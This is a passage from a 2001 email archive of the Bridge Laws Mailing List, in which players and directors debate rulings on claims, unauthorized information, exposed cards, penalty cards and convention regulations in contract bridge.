"Good god, partner, we are going to make twelve tricks here partner!" "Director!" "How can I help?" "He claimed twelve tricks." "What did you say when you claimed?" < a bit of fuss ensues while various and sundry people attempt to persuade declarer that he claimed > "I suppose I said that we are going to make twelve tricks here partner!" -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O367q20923 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:06:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35it20836 for ; Wed, 24 Jan 2001 14:05:45 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFe-0001OE-0A for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:41 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:33:57 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <3A6C4E5E.8274A409@village.uunet.be> In-Reply-To: <3A6C4E5E.8274A409@village.uunet.be> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman De Wael writes >David Stevenson wrote: >> >I don't see how - I agree with Jacs; what's in your hand is AI to you. >> Of course what is in my hand is - but is the fact that I have bid 1S >> AI? >We've been there before. > >IMHO. > >The bid you have made is AI, but the fact that you have made >it is UI. >So if you intended to bid 1He, and you've put down 1Sp, your >bid of 1Sp is UI. >This can become AI again when something happens at the table >(that is in itself AI, such as a bid by partner or opponent >that is incomprehensible) that makes you ask for a review of >the auction. Herman - I am not disagreeing with the above, but I am talking about a different timescale, and I am not sure we have discussed it. You make a bid, you withdraw it, *then* is the fact that you made it AI? It is no longer on the table, it is UI to your pd - what about to yourself? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:06:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O369L20928 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:06:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O35nt20863 for ; Wed, 24 Jan 2001 14:05:49 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14LGFg-000Ihz-0C for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 03:05:45 +0000 Message-ID: Date: Wed, 24 Jan 2001 02:35:28 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-meads writes >In-Reply-To: >DWS wrote: > >> >I don't see how - I agree with Jacs; what's in your hand is AI to >> >you. >> >> Of course what is in my hand is - but is the fact that I have bid >> 1S AI? > >Well your hand is AI. The fact that you would bid 1S on such a hand >as opener is AI. The fact you thought you were opener is AI. The >fact that you opened out of turn is AI. So the information arising >from the actual 1S bid might be UI but it has no real content and no >suggestive value. > >However, all this seems a bit "twisty". I am sorry David felt my >previous reply didn't take us forward. I was trying to express a >concern with some fairly radical changes introduced in the 97 laws in >plenty of time for reconsideration before 2007. I specifically meant I did not think it took us forward in deciding what the current position is under the Laws. I did not mean that the post was not worthwhile, but it did not answer the question. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 14:32:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O3VsV26412 for bridge-laws-outgoing; Wed, 24 Jan 2001 14:31:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O3Vlt26408 for ; Wed, 24 Jan 2001 14:31:49 +1100 (EST) Received: from kevins (cs16772-47.austin.rr.com [24.167.72.47]) by sm10.texas.rr.com (8.11.0/8.11.1) with SMTP id f0O3JEQ02900 for ; Tue, 23 Jan 2001 21:19:14 -0600 Message-ID: <002901c085b6$2fd1e200$2f48a718@austin.rr.com> From: "Kevin Perkins" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 21:31:48 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I polled the bridge players in my area for one week. After 97 people, including 3 directors, none of the people questioned believed the remarks in question were a claim. ----- Original Message ----- From: "Craig Senior" To: ; "Grant Sterling" Sent: Tuesday, January 23, 2001 3:03 PM Subject: Re: [BLML] Claim? > > Your assertion that 99.99999999 (or however many decimals) > percent think that "Oops, we underbid, we're making game" and > its slam equivalent is not a claim is highly questionable. I > think David Burn, Grattan, I and several others disagree. I > doubt you have 50% of this list with you. Why do you assume that > we are not a fair sample of bridge players? Surely you do not > believe that only the ignorant and uncaring believe as you do. > :-)) When the rulebook says 2+2=4, there will not be too many > who will insist the answer should be 5 because 4 isn't "fair". > What is fair is what the Laws say is fair. > / -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 15:13:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O4Ckl01705 for bridge-laws-outgoing; Wed, 24 Jan 2001 15:12:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-0.nyroc.rr.com [24.92.226.118]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O4Cct01663 for ; Wed, 24 Jan 2001 15:12:39 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0O48em17588; Tue, 23 Jan 2001 23:08:40 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> Date: Tue, 23 Jan 2001 23:07:52 -0500 To: Anton Witzen From: Ed Reppert Subject: Re: [BLML] Exposed Card before auction begins (?) Cc: bridge-laws@rgb.anu.edu.au Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 2:22 AM +0100 1/24/01, Anton Witzen wrote: >well, as i see it (in our ducth lawbook 17 says that if one of the players >of the partnership looks at his cards......... >and the Da putting open on the table is looking at the cards (is that true???) >then bidding has started for them; The diamond Ace wasn't "put" on the table - it was dropped accidently. "Put" implies the action was deliberate. I don't think accidently seeing one card in my hand counts as "looking at the face" of my cards. Law 17A says, in its entirety: "The auction period on a deal begins for a side when either partner looks at the face of his cards." So it refers to all my cards, not just one. Law 7B1 says "Each player counts his cards face down to be sure he has exactly 13; after that, and before making a call, he must inspect the face of his cards." So Law 7B1 and Law 17 go together. A player *must* inspect the face of his cards - all of them. As soon as he does so (if before his partner) the auction begins for his side. If he hasn't done so, and his partner hasn't done so, the auction hasn't started yet for that side (it may have started for the other side.) IMO, of course. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOm5WML2UW3au93vOEQKZIQCfQqV1pZaZ6tQ64wWnm276kE5o7g4AoOn0 4hd4AhwjDgLQJrbZUgBgH0NA =NjPO -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 15:20:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O4KaM04566 for bridge-laws-outgoing; Wed, 24 Jan 2001 15:20:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta06-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O4KTt04523 for ; Wed, 24 Jan 2001 15:20:29 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta06-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010124042133.NMMW16740.amsmta06-svc@witz> for ; Wed, 24 Jan 2001 05:21:33 +0100 Message-Id: <3.0.2.32.20010124052018.010c5018@pop3.norton.antivirus> X-Sender: a.witzen/mail.chello.nl@pop3.norton.antivirus X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Wed, 24 Jan 2001 05:20:18 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Exposed Card before auction begins (?) In-Reply-To: References: <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 02:30 AM 24-01-01 +0000, you wrote: >In article <3.0.2.32.20010124022224.010ceae8@mail.chello.nl>, Anton >Witzen writes >>> >>well, as i see it (in our ducth lawbook 17 says that if one of the players >>of the partnership looks at his cards......... >>and the Da putting open on the table is looking at the cards (is that true???) >>then bidding has started for them; >>regards, >>anton >> >>>Ed >>> >We got into this one a while ago (2 years?). If you inspect one card >have you inspected the "face of [your] cards"? > >If so I can play "first card inspected". If it's an Ace I open 1C, >strong, if it's a K, Q, J I open the suit. If it's a 10 I open 1NT. I >have not psyched as this is my system and there is no regulation to stop >me, as it is the best I can do to date. When the TD asks to see my hand >I show him the one card I've inspected. > >Nah, nah. exposing a card does not mean that the auction has started >for your side. You'd better look at most of them I guess. > perhaps the definition needs to be a bit more precise???? anyway, to avoid this type of problems i always count my cards under the table (in case a card is faced up (second advantage - no one knows if you have seen your cards in case you have more than 13 there too you have this type of problem)) but is it established that seeiing one card doesnt count for seeing yor cards?? i wasnt sure regards, anton > >-- >John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 >451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou >London E3 4PA | / @ __) -|- |john@probst.demon.co.uk >+44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 18:57:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O7uVY04118 for bridge-laws-outgoing; Wed, 24 Jan 2001 18:56:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O7uNt04112 for ; Wed, 24 Jan 2001 18:56:24 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id IAA09431; Wed, 24 Jan 2001 08:52:13 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id IAA16064; Wed, 24 Jan 2001 08:56:08 +0100 (MET) for Message-Id: <3.0.6.32.20010124090833.00848100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 09:08:33 +0100 To: Adam Beneschan , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <200101231742.JAA05489@mailhub.irvine.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:42 23/01/01 -0800, you wrote: >I maintain that if you open out of turn, so that you know nothing >about partner's hand, the above condition will *never* be true. Ever. >Since partner has not described anything about his hand, the range of >partner's possible hands is very wide---he could have a great fit, a >misfit, a long suit that fits with your 3-bagger, a 2-suiter---and any >HCP range from zero to 40 minus whatever you have. If you look at >every such possible hand and figure out where you would have played it >if you had a normal auction, there will be a few hands where your solo >flyer will produce a better result---and a huge number of hands where >you would have been better off if you had let partner tell you what he >had. (And plenty of hands where the result would have been the same.) >So I cannot believe that there is *any* hand on which barring partner >has a higher expected result. If someone can show me such a hand, and >demonstrate that, when all possible hands for partner are taken into >account, it would be advantageous to bar partner, please do so. AG : easy ! LHO opens a GF 2 clubs, and you bid 2S out of turn -a psyche-. If partner were now barred, it would be very dangerous, because S are higher than your genuine suit. But now, you have the favorable effects of the psyche, without the risks, ie if the bidding goes 2C p (forced) 2D 2S, you are sure partner won't raise you, and after X p p you may now retreat into your long suit without fear of being put back into spades. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 18:57:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O7upn04133 for bridge-laws-outgoing; Wed, 24 Jan 2001 18:56:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O7uit04125 for ; Wed, 24 Jan 2001 18:56:45 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id XAA17719 for ; Tue, 23 Jan 2001 23:11:10 -0900 Date: Tue, 23 Jan 2001 22:57:08 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Exposed Card before auction begins (?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Tue, 23 Jan 2001, Ed Reppert wrote: [snipped a bit] > of my cards. Law 17A says, in its entirety: "The auction period on a > deal begins for a side when either partner looks at the face of his > cards." So it refers to all my cards, not just one. Law 7B1 says > "Each player counts his cards face down to be sure he has exactly 13; > after that, and before making a call, he must inspect the face of his > cards." So Law 7B1 and Law 17 go together. A player *must* inspect > the face of his cards - all of them. As soon as he does so (if before > his partner) the auction begins for his side. If he hasn't done so, > and his partner hasn't done so, the auction hasn't started yet for > that side (it may have started for the other side.) IMO, of course. I agree, almost. And what happens if I drop one, or a pair of cards stick together, and I open the bidding after I have inspected only 12 of my cards? It might not be a BAD thing for this to be an infraction, given the weird auctions that result when people find hidden cards and then find bizarre ways, usually involving lots of UI, to convey the new info to their partners. I don't seriously believe, however, that the lawmakers intend for it to be possible for someone to make a call and have the auction period still not begin. (What if partner and I both have a card hidden, and we don't notice until dummy comes down? Was there never an auction period at all? Does it begin after it has ended?) If we want to we could patch that up, by saying the auction period begins when the face of the cards is inspected or a call is made (whichever comes first); or we could leave it as it is (without inserting the word "all" into L17 which it sounds like you want to do) and trust directors to use common sense. Or, we could accept that seeing the face of a single card is sufficient to start the auction period. I am happy to do this, as it avoids the whole controversy and makes it perfectly clear how to treat the exposed card during the rest of the auction. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 19:30:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0O8UOS04811 for bridge-laws-outgoing; Wed, 24 Jan 2001 19:30:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0O8UFt04804 for ; Wed, 24 Jan 2001 19:30:16 +1100 (EST) Received: from eitan (gcon1-p83.nt.netvision.net.il [62.0.170.83]) by alpha.netvision.net.il (8.9.3/8.8.6) with SMTP id KAA14505 for ; Wed, 24 Jan 2001 10:30:04 +0200 (IST) Message-Id: <3.0.5.32.20010124102904.008769c0@mail.netvision.net.il> X-Sender: moranl@mail.netvision.net.il (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Wed, 24 Jan 2001 10:29:04 +0200 To: bridge-laws@rgb.anu.edu.au From: Eitan Levy Subject: Re: [BLML] Another penalty card and UI question In-Reply-To: <200101240113.RAA17289@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk See Law 50. The director shall award an adjusted score, in lieu of the rectifications below, when he deems that Law 72B1 applies. Surely 72B1 applies here. Defender could have known when he didnt follow suit and played a D that this would be likely to damage the NOS. In addition, from minutes of WBFLC at Lille: quote If possession of a penalty card has a beneficial effect for the offending side, the director may have recourse to Law 72B1 unquote. So the TD adjusts. Eitan Levy At 17:13 23/01/2001 -0800, you wrote: > >Law 50D1 says a major penalty card must be played at the first legal >opportunity. What's the definition of "legal" here? > >This one is easy, right? It means you must play the card at your next >opportunity to play, when the obligation to follow suit does not >prevent you from doing so. > >OK, so what happens here? > >LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks >a whole lot of pointed questions about the 2D bid, and then passes. >RHO then bids 3NT, ending the auction. Partner leads a heart. > >On this trick, you play the jack of diamonds; then you say, "Ooops, I >have to follow suit". So you then play the ace of hearts. Now what? > >Without the penalty card situation, the jack of diamonds would be an >illegal play, being demonstrably suggested by unauthorized >information. However, if the answer to my first question is correct, >the definition of "legal" used by L50D1 doesn't include plays that are >illegal for this reason. So, since this is your first legal >opportunity, you play the diamond jack. Of course, this sets up the >suit partner "bid", and down goes the contract. > >When the opponents call for the director, you explain that the TD has >no power to adjust, since, although the diamond lead was demonstrably >suggested by the UI, you had no logical alternative to the diamond >lead, since you were required to follow Law 50D1. > >Now, I realize that several non-specific Laws, apply, such as 12A1 >(empowering the TD to adjust the score when the laws don't provide >indemnity), 70B2 (prohibiting intentional violations of the law), and >94A3 (empowering the TD to summarily defenestrate pairs who pull the >kind of shenanigans you guys just did). But what Laws specifically >address this sort of situation? For example, what would happen in a >case where the penalty card was accidental, or happened before the UI? >Would the lead be considered "illegal" by L16A and therefore not >required to be led by L50D1, or would L16A apply as though there were >logical alternatives even though "violating the law by not leading a >penalty card" would reasonably be considered "not a logical >alternative"? > > -- Adam > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:24:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAN9G06852 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:23:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAN0t06846 for ; Wed, 24 Jan 2001 21:23:01 +1100 (EST) Received: from d1o993.telia.com (d1o993.telia.com [213.64.26.241]) by mailc.telia.com (8.11.0/8.11.0) with ESMTP id f0O9oAj13297; Wed, 24 Jan 2001 10:50:11 +0100 (CET) Received: from oemcomputer (t6o993p71.telia.com [213.64.28.191]) by d1o993.telia.com (8.8.8/8.8.8) with SMTP id KAA13888; Wed, 24 Jan 2001 10:49:56 +0100 (CET) Message-ID: <002b01c085ea$53f85900$bf1c40d5@oemcomputer> From: "Peter Swensson" To: "Grattan Endicott" , Subject: SV: [BLML] Fw: wbf brown sticker question Date: Wed, 24 Jan 2001 10:44:21 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0OAN4t06848 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >> >> > >> > I have just read an article of yours on WBF >> > conventions on David Stevenson's page and >> > have a question. If I play a 2D opening as a >> > 5-5 major/minor two suiter is it allowed (as >> > a multi variant) or is it banned (because the >> > anchor suit is unknown)? >> > >> > >> +=+ This is a Brown Sticker convention and >> may not be played in tournaments where >> Brown Sticker (BS) conventions are prohibited. >> Regarding the multi the WBF Systems Policy >> says that what is not BS is an opening bid of >> two in a minor suit that shows "a weak two in >> either major, whether with or without the >> option of strong hand types, as described in >> the WBF Conventions Booklet". >> ~ Grattan ~ +=+ >> I can't see the distiction ... if "a weak two" may be on a five card suit, then ... please explain Peter Swensson > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:30:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAUHO07023 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:30:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAUAt07017 for ; Wed, 24 Jan 2001 21:30:11 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id LAA23718; Wed, 24 Jan 2001 11:27:29 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA21787; Wed, 24 Jan 2001 11:29:54 +0100 (MET) for Message-Id: <3.0.6.32.20010124114220.00844100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 11:42:20 +0100 To: Ed Reppert , David Stevenson From: alain gottcheiner Subject: Re: [BLML] penalties AND UI - too much ? Cc: bridge-laws@rgb.anu.edu.au In-Reply-To: References: <01C082FA.E03553C0.tsvecfob@iol.ie> <200101211728.MAA01229@calum.csclub.uwaterloo.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 18:35 23/01/01 -0500, Ed Reppert wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 4:50 PM +0000 1/22/01, David Stevenson wrote: >> OK, you refuse to believe it. that's fine with me. >> >> But do you accept that the wording exists in L50D1? > >Law 50D1 says, in part, "A major penalty card must be played at the >first legal opportunity, whether in leading, following suit, >discarding or trumping (the requirement that offender must play the >card is authorized information for his partner; however, other >information arising from facing of the penalty card is unauthorized >for partner)." Of course I accept it, how could I not? AG : if I understand that, you are allowed to know that partner will play the DA, but you are not allowed to know he holds it. Strange thing ! If you know partner will play some card, you may deduce he does hold it !? In fact , the lead penalties are there to take into account that you have UI, and make it harder to use it to your profit. If playing D to the Ace is good to you, declarer had an easy way to avoid it : disallow a diamond lead. He thought the diamond play was not dangerous to him ; who are we to argue ? The three options of L57A serve the same purpose. And it is perfectly legal to play D when allowed to do so, to make lighter the burden of the penalty (partner will not have to discard the Ace later) ; see L72A5. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:30:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAUht07042 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:30:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAUXt07035 for ; Wed, 24 Jan 2001 21:30:34 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0OAUQc28530 for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 10:30:26 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Wed, 24 Jan 2001 10:30 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Claim? To: bridge-laws@rgb.anu.edu.au Cc: 